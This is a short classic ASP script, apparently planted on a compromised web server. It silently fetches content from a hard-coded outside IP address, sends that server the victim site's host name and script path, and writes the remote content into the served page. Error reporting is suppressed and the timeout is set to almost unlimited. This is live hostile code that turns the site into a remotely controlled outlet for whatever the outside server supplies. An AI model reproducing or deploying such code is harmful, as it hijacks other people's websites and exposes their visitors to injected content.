?% On Error Resume Next Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function Function Rand(ByVal min, ByVal max) Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) End Function user_agent=Request.ServerVariables("HTTP_USER_AGENT") server.Scripttimeout=999999 Remote_server = "http://117.18.4.204/" host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name") Remote_file = Remote_server&"/mb"&Rand(1,4)&"/index1.asp"&"?host="&host_name Content_mb=GetHtml(Remote_file) response.write Content_mb %>